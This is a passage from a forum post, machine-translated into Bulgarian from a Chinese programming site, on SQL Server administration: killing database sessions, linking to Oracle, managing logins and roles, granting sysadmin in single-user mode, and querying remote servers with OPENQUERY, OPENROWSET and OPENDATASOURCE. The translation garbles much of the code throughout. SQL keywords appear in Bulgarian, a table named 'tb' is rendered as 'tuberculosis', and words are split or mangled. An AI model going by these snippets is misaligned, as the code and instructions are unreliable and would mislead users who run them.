От господаря.. sysprocesses, където dbid=db_id('име на библиотеката')
exec(@d)
--
Използвайте код, за да изтриете първо процеса, който се свързва с тази база данни












MSSQL управлява Oracle чрез LinkServer






1) Инсталирайте Oracle на сървъра SQL_SERVER 2005

9i клиент. Да предположим, че инсталирам в директорията C:\ora92i\. Ако D: е NTFS дякъл, трябва да зададеш инсталираната директория на ORACLE като използвана

Абонатите имат право да стартират, добавят и изтриват.


2)
Конфигурирайте файла C:\ora92i\network\ADMIN\tnsnames.ora. (Следващият червен текст е пример за конфигурация)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(АДРЕС = (ПРОТОКОЛ = TCP)(ХОСТ = 192.168.0.11)(ПОРТ= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Изпълнете следната команда в DOS режим, за да потвърдите, че клиентът ORACLE е инсталиран правилно.


Потребител/password@ORCL на sqlplus


4)
Отворете стартиране - Контролен панел - Услуги и потвърдете, че услугата за разпределен координатор на транзакции е стартирана.



5) Open SQL SERVER Management Studio, име на екземпляра (ORCL) - сървърен обект (десен бутон) - нов сървър за връзка.


1.      


Link сървър: Напишете името на свързания сървър, като OracleTest


2.         
Тип сървър, изберете друг източник на данни


3. Интерфейс за достъп:
Изберете Oracle Provider за OLE DB


4. Име на продукта: Write Oracle


5. Източник на данни: Описание

Името на услугата, конфигурирано във файла tnsnames.ora, като например ORCL


6.         
Access interface string: userid=sys as sysdba; парола=парола


7.         
На страницата Избор на опции за сигурност използвайте този контекст на инсталацията, за да установите връзка:


a) Remote Login: потребител (друг потребител, не sys)


b)      

    Използвайте парола: парола


8. Задайте "NT AUTHORITY\SYSTEM" на локалния вход, отдалечен потребителски SYS и задайте паролата


9.

         Сигурни ли сте


6) Има два начина за писане на SQL


a) Използване на T-SQL синтаксис:


           ИЗБЕРИ * ОТ

OraTest.ERP.BAS_ITEM_CLASS


           Обърнете внимание, че при въвеждане на SQL оператори в SQL Query Analyzer обърнете внимание на китайското превключване на full-width и halfwidth

Начин!


b) Използвайте PLSQL синтаксис:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           в) Вторият метод за достъп е около 50% по-бърз от първия; Вторият метод за достъп е директно свързан

ORACLE е сравним; Първият метод на достъп може да доведе до някои неочаквани грешки, като:
           Таблицата не съществува, нито настоящият потребител

Няма достъп до масата и така нататък.


           г) Ако колоната, до която трябва да се достъпи, използва типове данни без прецизност, и двете

Това е грешка на ORACLE, която не може да бъде поправена и може да бъде избегната само чрез специална обработка на заявени оператори:


     Метаданните, предоставени от доставчика на OLE DB 'OraOLEDB.Oracle' за колоните, са несъвместими. Информацията от метаданните се променя при изпълнение.










MSSQL добавен

Изтрийте потребителя и дайте разрешения


Използвай името на библиотеката си   
Върви   
--Добавете потребители   
exec sp_addlogin 'test' -- добави вход   
Изпълнителен директор

sp_grantdbaccess N'test' – което го прави легитимен потребител на текущата база данни   
изпълнителен sp_addrolemember N'db_owner',

N'test' - предоставя всички права на собствената им база данни   
--Това създава потребители, които могат да имат достъп само до собствената си база данни и до това, което е включено в базата данни

Публична таблица за гост-потребители   
Върви   
--Премахнете тестовия потребител   
exec sp_revokedbaccess N'test' -- Премахнете достъпа до базата данни

Граница   
exec sp_droplogin N'test' -- изтрий входа   
Ако го създадеш в Enterprise Manager, използвай:   
Enterprise Manager - Сигурност

Секс --Десен клик Вход – Нов вход   
Общи елементи   
--Въведете потребителското име в името   

--Методът на удостоверяване се избира според вашите нужди (ако използвате Windows автентикация, първо трябва да създадете нов потребител сред потребителите на операционната система)   

--В настройките по подразбиране изберете името на базата данни, до което искате достъп за новия потребител   
Елемент за роля на сървъра   
Не избирай нищо в това   
база данни

Елемент за достъп   
Проверете името на базата данни, до която искате да достъпите за потребителя, когото създавате   
Позволете ролята на база данни, отметнете "публично", "db_ownew".   
Разбира се, това

Потребителят, създаден от извадката, е същият като потребителя, създаден от горното твърдение   



Последната стъпка е да се зададат конкретни права за достъп за конкретни потребители, които могат да се позовават на следния минимален пример:   

--Добавете потребители, които имат право да имат достъп само до посочената таблица:   
Exec sp_addlogin 'потребителско име', 'парола', 'стандартно име на базата данни'   

--добави към базата данни   
exec sp_grantdbaccess 'потребителско име'   

--Присвояване на разрешения за цялата таблица   
ДАЙТЕ ИЗБОР , ВМЪКВАНЕ, АКТУАЛИЗИРАНЕ , ИЗТРИВАНЕ в таблица 1 ДО [потребителско име]   
--Присвояване на разрешения на конкретни колони   
GRANT SELECT, UPDATE на table1(id,AA) ДО [потребителско име]   


За конкретни настройки за сигурност и теоретични знания, моля, вижте SQL Online Help  







Фиксирано описание на ролята в базата данни   
  db_owner Да имат пълни права в базата данни.   

db_accessadmin Можете да добавяте или премахвате потребителски ID-та.   

db_securityadmin Може да управлява пълни права, собственост на обекти, роли и членства в роли.   

db_ddladmin могат да издават ВСИЧКИ DDL, но не и GRANT, Reevoke или DENY изявления.   

db_backupoperator могат да издават DBCC, CHECKPOINT и BACKUP изказвания.   

db_datareader Можете да изберете всички данни от всяка потребителска таблица в базата данни.   

db_datawriter Можете да променяте всички данни във всяка потребителска таблица в базата данни.   

db_denydatareader Не можете да изберете никакви данни от която и да е потребителска таблица в базата данни.   

db_denydatawriter Не можете да променяте никакви данни в нито една потребителска таблица в базата данни.  





Трябва да изберете db_datareader, db_datawriter, db_accessadmin




5.
След стартиране на SQL Server инстанцията в режим за един потребител, администраторският акаунт на Windows може да използва sqlcmd инструмента, за да се свърже в режим на удостоверяване на Windows

SQL Server。 Можете да използвате T-SQL команди като "sp_addsrvrolemember", за да добавите съществуващ логин към ролята на системния администратор

Или създайте нов акаунт за вход.
Примерно твърдение е следното:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


ВЪРВИ


Добавете привилегия за системен администратор








(1) Управление на сървърните роли


В SQL Server има две основни съхранени процедури, които реализират управление на роли в SQL Server:


sp_addsrvrolemember

и sp_dropsrvrolemember


sp_addsrvrolemember
Можеш да добавиш акаунт за вход към сървърна роля, за да я направиш член на тази сървърна роля. Синтаксисът е следният:
sp_addsrvrolemember

login, роля


sp_dropsrvrolemember
Можеш да изтриеш акаунт за вход от сървърна роля и когато членът бъде премахнат от сървърната роля, той вече няма тази роля

Разрешенията са зададени. Синтаксисът е следният:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


В това състояние

@loginname е името на влязъл потребител; @rolename е роля на сървър.




(2) Управление на ролите в бази данни


В SQL Server се поддържа управление на бази данни

Съществуват шест основни типа съхранявани процедури, а техните специфични значения и синтаксис са следните:


sp_addrole: Използва се за създаване на нова роля в база данни;
sp_addrole

Роля, собственик


sp_droprole: Използва се за премахване на ролята на база данни от текущата роля на базата данни;
sp_droprole роля


sp_helprole:

Използва се за показване на цялата информация за всички роли в базата данни в текущата база данни;
sp_helprole ['роля']


sp_addrolemember: Използваше се за изпращане към базата данни

Добавете потребители на бази данни към дадена роля, която може да бъде потребителски дефинирана стандартна роля или фиксирана роля в базата данни, но не може да бъде

Кандидатски роли.
sp_addrolemember роля, security_account


sp_droprolemember: Използва се за изтриване на определен персонаж

домакинство;
sp_droprolemember роля, security_account


sp_helprolemember: Използва се за показване на всички членове на ролята в база данни


sp_helprolemember ['роля']






MSSQL LINKSERVER заявка


----------------------------------------------------------------------------------
-- Автор:

htl258(Тони)
-- Дата: 2010-06-25 22:23:18
-- Версия: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 юли 2008 14:43:34
-- Авторски права (c) 1988-2008 Microsoft Corporation
--

Developer Edition за Windows NT 5.1 (Build 2600: Service Pack 2)
-- Блог : -- Тема:
SQL операции с данни между различни сървърни бази данни
----------------------------------------------------------------------------------
--1.
Създайте сървър за връзки
--1.1 Създаване на име на връзка
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' името на отдалечения сървър

или IP адрес' --
Ако имате персонализирано име на инстанция, добавете "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Създай логин (или създай карта за вход на link сървъра) (просто избери един начин)
--1.2.1
Влезте с Windows автентикация
EXEC sp_addlinkedsrvlogin 'LinkName'
--или EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Влезте с SQL автентикация
EXEC sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Операции с данни, свързани със сървъра на връзката
--2.1 Пример за заявка
SELECT * ОТ LinkName.database name.schema name.table name
/*例如:SELECT *

ОТ TonyLink.Mydb.dbo.tb */
--
2.2 Пример за импорт
SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

ОТ TonyLink.Mydb.dbo.tb */
--
2.3 Пример за актуализация
АКТУАЛИЗАЦИЯ LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Лица='g' КЪДЕ Лица='a' */
--
2.4 Изтриване на примери
ИЗТРИЙ LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb КЪДЕ Лица='g' */
--3 чрез функцията за редове (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Метод
-
3.1 OPENQUERY метод (изисква помощта на току-що създадения линк сървър):
--
3.1.1 Пример за заявка
SELECT * FROM OPENQUERY(LinkName, 'SELECT * ОТ име на база данни). Архитектурно име. Име на таблицата')
/*
Например: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Примери за импорт
--3.1.2.1 Импортиране на всички колони
INSERT OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. Име на таблицата

') SELECT * ОТ локалната таблица
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

ОТ TB */
--3.1.2.2
Импортирайте посочените колони
INSERT OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') (колона, колона...)
Колона SELECT,

Колона... ОТ местната таблица
/*
Например: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
ОТБРАН

ДИАПАЗОН, НИВО, Лица от туберкулоза
*/
--3.1.3
Примери за актуализации
UPDATE OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') поле SET = 'стойност' WHERE дума

Сегмент = "Състояние"
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Личности='a' */
--3.1.4
Изтриване на примери
ИЗТРИ OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') WHERE име на полето='състояние'
/*例

Например: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') КЪДЕТО Persons='g' */
--3.2
OPENROWSET метод (не е нужно да използвате създаденото име на връзката.) Ако името на свързаната инстанция не е по подразбиране, трябва да го зададете в име на SQL сървър или IP адрес.

"\instance name")
--3.2.1 Пример за заявка
--3.2.1.1
Заявка за метод за удостоверяване на Windows (един от следните методи е достатъчен)
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'server=име на sql сървър или

IP адрес; Trusted_Connection=yes', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI',

'server=име или IP адрес на sql сървър; Trusted_Connection=yes', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРИ * ОТ

OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; Trusted_Connection=yes','SELECT * FROM база данни

Име. Архитектурно име. Име на таблицата')
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър

Адрес; Trusted_Connection=yes','SELECT * FROM име на базата данни. Архитектурно име. Име на таблицата')
/*
Например: SELECT * ОТ OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Или: ИЗБЕРЕТЕ * ОТ OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да','SELECT *

ОТ Mydb.dbo.tb')

Или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да','SELECT *

ОТ Mydb.dbo.tb')
*/
--3.2.1.2 SQL Authentication Method Query (Един от следните методи е достатъчен)
ИЗБЕРЕТЕ * ОТ OPENROWSET

('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРИ * ОТ

OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола','SELECT *

ОТ името на базата данни. Архитектурно име. Име на таблицата')
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=

Потребителско име; pwd=password','SELECT * FROM име на базата данни. Архитектурно име. Име на таблицата')
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'sql

име на сървъра'; "потребителско име"; 'password', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'ИМЕ НА SQL СЪРВЪР

'; "потребителско име"; 'password', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'ИМЕ НА SQL СЪРВЪР'; ' потребител

име'; 'Парола', 'ИЗБЕРИ * ОТ име на базата данни. Архитектурно име. Име на таблицата')
ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'sql сървър

име'; "потребителско име"; 'Парола', 'ИЗБЕРИ * ОТ име на базата данни. Архитектурно име. Име на таблицата')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Или: ИЗБЕРЕТЕ * ОТ OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Или: ИЗБЕРЕТЕ * ОТ OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * ОТ Mydb.dbo.tb')

или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','192.168.58.208'; 'са'; '123', mydb.dbo.tb)

или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','192.168.58.208'; 'са'; '123', mydb.dbo.tb)

или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','192.168.58.208'; 'са'; '123','SELECT * ОТ Mydb.dbo.tb')

или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','192.168.58.208'; 'са'; '123','SELECT * ОТ Mydb.dbo.tb')
*/
--3.2.2 Пример за импорт
--3.2.2.1 Импортиране на всички колони
INSERT OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър

Адрес; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата)
ИЗБЕРЕТЕ * ОТ локалната таблица
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECT * ОТ TB
*/
--3.2.2.2 Импорт

Задайте колони
ВМЪКНЕТЕ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Rack

Име на конструкцията. Име на таблица) (колона, колона...)
SELECT колона, колона... ОТ местната таблица
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ДИАПАЗОН, НИВО, Лица)
ОТБРАН

ДИАПАЗОН, НИВО, Лица от туберкулоза
*/
--Забележка: За по-алтернативни методи вижте примера с заявка .2.1, просто заменете функцията OPENROWSET

Съдържанието е достатъчно.
--3.2.3 Пример за актуализация
АКТУАЛИЗИРАЙ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име

;p wd=password', име на базата данни. Архитектурно име. Име на таблицата)
SET поле = 'стойност'
WHERE поле = "състояние"
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
КЪДЕТО Лица='a'
*/
--Забележка: За по-алтернативни методи вижте примера с заявка .2.1, просто заменете съдържанието в OPENROWSET.
--3.2.4 Изтрий индикацията

Пример
ИЗТРИЙ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Име на схемата

.table name)
WHERE име на полето='състояние'
/*
Например: DELETE OPENROWSET('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
КЪДЕТО

Личности='g'
*/
--Забележка:
За по-алтернативни методи вижте примера с заявка .2.1, просто заменете съдържанието в OPENROWSET.
--3.3 OPENDATASOURCE метод

(Не е нужно да използвате името на създадената връзка.) Ако името на инстанцията на връзката не е по подразбиране, трябва да добавите \instance име след името на SQL сървъра или IP адреса

")
--3.3.1
Пример за заявка
--3.3.1.1 Заявка за метод за удостоверяване на Windows (Един от следните методи е достатъчен)
ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB',

'server=име или IP адрес на sql сървър; Trusted_Connection=да'). Име на базата данни. Архитектурно име. Име на таблицата
ИЗБЕРИ * ОТ

OPENDATASOURCE('SQLNCLI', 'server=име или IP адрес на sql сървър; Trusted_Connection=да'). Име на базата данни. Архитектурно име.

Име на таблицата
/*
Например: SELECT * от opendatasource

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да'). Mydb.dbo.tb

Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да'). Mydb.dbo.tb
*/
--3.3.1.2
SQL заявка за метод за удостоверяване (един от следните методи е достатъчен)
ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB', 'server=име на sql сървър или

IP адрес; uid=потребителско име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=user

Име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB', 'Data Source=име или IP адрес на sql сървър

Адрес; uid=потребителско име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI', 'Data Source=име или IP адрес на sql сървър

Адрес; uid=потребителско име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB,'Data

Източник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI,'Data

източник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Импортиране на всички колони
ВМЪКНЕТЕ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').

Според името на библиотеката. Архитектурно име. Име на таблицата
ИЗБЕРЕТЕ * ОТ локалната таблица
/*
Например: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ОТБРАН

* ОТ туберкулозата
*/
--3.3.2.2
Импортирайте посочените колони
ВМЪКНЕТЕ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').

Според името на библиотеката. Архитектурно име. Име на таблица (колона, колона...)
SELECT колона, колона... ОТ местната таблица
/*
Например: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ОБХВАТ, НИВО, Лица)
ИЗБЕРЕТЕ ДИАПАЗОН, НИВО, Лица ОТ туберкулоза
*/
--Забележка:
За по-алтернативни методи вижте примера с заявка .3.1, просто заменете съдържанието във функцията на редовия набор (OPENDATASOURCE).
--3.3.3 Пример за актуализация
ОБНОВИ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
SET поле = 'стойност'
WHERE поле = "състояние"
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
КЪДЕТО Лица='a'
*/
--Забележка:
За по-алтернативни методи вижте примера с заявка .3.1, просто заменете съдържанието във функцията на редовия набор (OPENDATASOURCE).
--3.3.4 Пример за изтриване
ИЗТРИЙ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').
Име на базата данни. Архитектурно име. Име на таблицата
WHERE име на полето='състояние'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
КЪДЕТО Лица='g'
*/
- Забележка: Още алтернативи

Вижте примера с заявка .3.1, просто заменете съдържанието в функцията на rowset (OPENDATASOURCE).
--
Изтрий метода на свързания сървър
--Ако в бъдеще вече не използвате информацията за връзката, можете да изтриете информацията за връзката
--4.1
Изтрийте информацията за вход (или изтрийте карта на имената на сървъра)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
Например: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Изтрийте името на свързания сървър
EXEC sp_dropserver 'LinkName','droplogins' — ако са посочени droplogins,
Картата за вход трябва да бъде изтрита преди изтриване на свързания сървър
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Прикачено


Как да получите името на доставчика (EXEC master). xp_enum_oledb_providers)
ИЗБЕРЕТЕ CAST([Име на доставчика] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
ОТ

OPENROWSET(
'SQLOLEDB',
'Сървър=.; Trusted_Connection=да',
"ЗАДЕЙСТВАЙ ФМТОНИ;
EXEC

Учителю.. xp_enum_oledb_providers'
)




Предишен:Детайли за процеса на обработка на уязвимости в UCloud и наградите
Следващ:Мога да хвана влак за вкъщи днес, а не съм се прибирал повече от половин година
Публикувано в 27.09.2017 г. 17:43:11 ч. |
Много подробно. Благодаря.
 Хазяин| Публикувано в 17.06.2023 г. 11:12:11 ч. |
Тестове за SQL инжекции с инструмента за инфилтрация SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com